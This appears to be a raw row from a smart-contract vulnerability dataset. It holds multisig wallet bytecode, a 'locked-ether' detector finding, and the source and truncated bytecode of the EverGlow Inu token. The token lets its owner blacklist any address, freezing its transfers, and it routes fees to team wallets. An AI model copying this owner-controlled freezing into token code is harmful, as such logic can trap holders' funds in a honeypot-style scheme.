506107c2600480360360208110156107ac57600080fd5b810190808035906020019092919050505061182e565b005b3480156107d057600080fd5b506107fd600480360360208110156107e757600080fd5b81019080803590602001909291905050506118e4565b005b34801561080b57600080fd5b506108ef6004803603606081101561082257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561086957600080fd5b82018360208201111561087b57600080fd5b8035906020019184600183028401116401000000008311171561089d57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611ad1565b6040518082815260200191505060405180910390f35b34801561091157600080fd5b5061091a611af0565b6040518082815260200191505060405180910390f35b34801561093c57600080fd5b50610945611af5565b6040518082815260200191505060405180910390f35b34801561096757600080fd5b506109ca6004803603604081101561097e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611afb565b005b3480156109d857600080fd5b50610a05600480360360208110156109ef57600080fd5b8101908080359060200190929190505050611e05565b005b60038181548110610a1457fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7b57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610ad257600080fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008090505b600160038054905003811015610c52578273ffffffffffffffffffffffffffffffffffffffff1660038281548110610b6457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c4557600360016003805490500381548110610bc057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660038281548110610bf857fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c52565b8080600101915050610b30565b506001600381818054905003915081610c6b9190612233565b506003805490506004541115610c8a57610c8960038054905061182e565b5b8173ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d2857600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d9157600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610dbf57600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610f4d57838015610f01575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610f345750828015610f33575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610f40576001820191505b8080600101915050610eca565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f8c57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fe457600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561101f57600080fd5b6001600380549050016004546032821115801561103c5750818111155b8015611049575060008114155b8015611056575060008214155b61105f57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000905060008090505b60038054905081101561124457600160008581526020019081526020016000206000600383815481106111a357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611222576001820191505b60045482141561123757600192505050611247565b8080600101915050611174565b50505b919050565b600080600090505b60038054905081101561130f576001600084815260200190815260200160002060006003838154811061128357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611302576001820191505b8080600101915050611254565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113ed5780601f106113c2576101008083540402835291602001916113ed565b820191906000526020600020905b8154815290600101906020018083116113d057829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561148e57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611444575b5050505050905090565b6060806005546040519080825280602002602001820160405280156114cc5781602001602082028038833980820191505090505b509050600080905060008090505b60055481101561157657858015611511575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806115445750848015611543575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611569578083838151811061155657fe5b6020026020010181815250506001820191505b80806001019150506114da565b8787036040519080825280602002602001820160405280156115a75781602001602082028038833980820191505090505b5093508790505b868110156115f1578281815181106115c257fe5b602002602001015184898303815181106115d857fe5b60200260200101818152505080806001019150506115ae565b505050949350505050565b6060806003805490506040519080825280602002602001820160405280156116335781602001602082028038833980820191505090505b509050600080905060008090505b60038054905081101561177a576001600086815260200190815260200160002060006003838154811061167057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561176d57600381815481106116f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811061172c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611641565b816040519080825280602002602001820160405280156117a95781602001602082028038833980820191505090505b509350600090505b81811015611820578281815181106117c557fe5b60200260200101518482815181106117d957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506117b1565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461186657600080fd5b600380549050816032821115801561187e5750818111155b801561188b575060008114155b8015611898575060008214155b6118a157600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661193b57600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff1660008083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156119ab57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a1557600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a3611aca85611e05565b5050505050565b6000611ade8484846120a7565b9050611ae9816118e4565b9392505050565b603281565b60045481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b3357600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611b8a57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611be257600080fd5b60008090505b600380549050811015611cc8578473ffffffffffffffffffffffffffffffffffffffff1660038281548110611c1957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611cbb578360038281548110611c6e57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611cc8565b8080600101915050611be8565b506000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28273ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a250505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e5c57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ec557600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615611ef357600080fd5b611efc85611167565b156120a0576000806000878152602001908152602001600020905060018160030160006101000a81548160ff02191690831515021790555061201c8160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826001015483600201805460018160011615610100020316600290049050846002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120125780601f10611fe757610100808354040283529160200191612012565b820191906000526020600020905b815481529060010190602001808311611ff557829003601f168201915b505050505061220c565b1561205357857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a261209e565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008160030160006101000a81548160ff0219169083151502179055505b505b5050505050565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120e457600080fd5b600554915060405180608001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020190805190602001906121a292919061225f565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b81548183558181111561225a5781836000526020600020918201910161225991906122df565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122a057805160ff19168380011785556122ce565b828001600101855582156122ce579182015b828111156122cd5782518255916020019190600101906122b2565b5b5090506122db91906122df565b5090565b61230191905b808211156122fd5760008160009055506001016122e5565b5090565b9056fea165627a7a723058201b7abe5879714ed61f8aab67776af70c4618130e1500476c0e94dde685001f9b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,509 |
0x4E19b394B201Ff4EE2096858a5Eb840C036a3E3E | /*
EverGlow Inu: $EverGlow
https://t.me/everglowinu
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EverGlow is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "EverGlow Inu";
string private constant _symbol = "EverGlow";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _devFund;
address payable private _marketingFunds;
address payable private _buybackWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devFundAddr, address payable marketingFundAddr, address payable buybackAddr) {
_devFund = devFundAddr;
_marketingFunds = marketingFundAddr;
_buybackWalletAddress = buybackAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devFund] = true;
_isExcludedFromFee[_marketingFunds] = true;
_isExcludedFromFee[_buybackWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
if (block.number <= launchBlock + 2 && amount == _maxTxAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
bots[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_devFund.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(4).div(10));
_buybackWalletAddress.transfer(amount.mul(2).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 3000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _devFund);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _devFund);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
| 0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf91461034c578063cba0e99614610361578063d00efb2f1461039a578063d543dbeb146103b0578063dd62ed3e146103d0578063e47d60601461041657600080fd5b80638da5cb5b1461029e57806395d89b41146102c6578063a9059cbb146102f7578063b515566a14610317578063c3c8cd801461033757600080fd5b8063313ce567116100f2578063313ce567146102185780635932ead1146102345780636fc3eaec1461025457806370a0823114610269578063715018a61461028957600080fd5b806306fdde031461013a578063095ea7b31461018157806318160ddd146101b157806323b872dd146101d6578063273123b7146101f657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600c81526b45766572476c6f7720496e7560a01b60208201525b6040516101789190611bdb565b60405180910390f35b34801561018d57600080fd5b506101a161019c366004611a6c565b61044f565b6040519015158152602001610178565b3480156101bd57600080fd5b50670de0b6b3a76400005b604051908152602001610178565b3480156101e257600080fd5b506101a16101f1366004611a2c565b610466565b34801561020257600080fd5b506102166102113660046119bc565b6104cf565b005b34801561022457600080fd5b5060405160098152602001610178565b34801561024057600080fd5b5061021661024f366004611b5e565b610523565b34801561026057600080fd5b5061021661056b565b34801561027557600080fd5b506101c86102843660046119bc565b610598565b34801561029557600080fd5b506102166105ba565b3480156102aa57600080fd5b506000546040516001600160a01b039091168152602001610178565b3480156102d257600080fd5b5060408051808201909152600881526745766572476c6f7760c01b602082015261016b565b34801561030357600080fd5b506101a1610312366004611a6c565b61062e565b34801561032357600080fd5b50610216610332366004611a97565b61063b565b34801561034357600080fd5b506102166106df565b34801561035857600080fd5b50610216610715565b34801561036d57600080fd5b506101a161037c3660046119bc565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a657600080fd5b506101c860125481565b3480156103bc57600080fd5b506102166103cb366004611b96565b610ada565b3480156103dc57600080fd5b506101c86103eb3660046119f4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042257600080fd5b506101a16104313660046119bc565b6001600160a01b03166000908152600a602052604090205460ff1690565b600061045c338484610bac565b5060015b92915050565b6000610473848484610cd0565b6104c584336104c085604051806060016040528060288152602001611dac602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111cf565b610bac565b5060019392505050565b6000546001600160a01b031633146105025760405162461bcd60e51b81526004016104f990611c2e565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b0316331461054d5760405162461bcd60e51b81526004016104f990611c2e565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461058b57600080fd5b4761059581611209565b50565b6001600160a01b038116600090815260026020526040812054610460906112e0565b6000546001600160a01b031633146105e45760405162461bcd60e51b81526004016104f990611c2e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045c338484610cd0565b6000546001600160a01b031633146106655760405162461bcd60e51b81526004016104f990611c2e565b60005b81518110156106db576001600a600084848151811061069757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d381611d41565b915050610668565b5050565b600c546001600160a01b0316336001600160a01b0316146106ff57600080fd5b600061070a30610598565b905061059581611364565b6000546001600160a01b0316331461073f5760405162461bcd60e51b81526004016104f990611c2e565b601054600160a01b900460ff16156107995760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f9565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107d53082670de0b6b3a7640000610bac565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080e57600080fd5b505afa158015610822573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084691906119d8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088e57600080fd5b505afa1580156108a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c691906119d8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090e57600080fd5b505af1158015610922573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094691906119d8565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061097681610598565b60008061098b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109ee57600080fd5b505af1158015610a02573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a279190611bae565b505060108054660aa87bee5380006011554360125563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aa257600080fd5b505af1158015610ab6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106db9190611b7a565b6000546001600160a01b03163314610b045760405162461bcd60e51b81526004016104f990611c2e565b60008111610b545760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104f9565b610b716064610b6b670de0b6b3a764000084611509565b90611588565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610c0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f9565b6001600160a01b038216610c6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f9565b6001600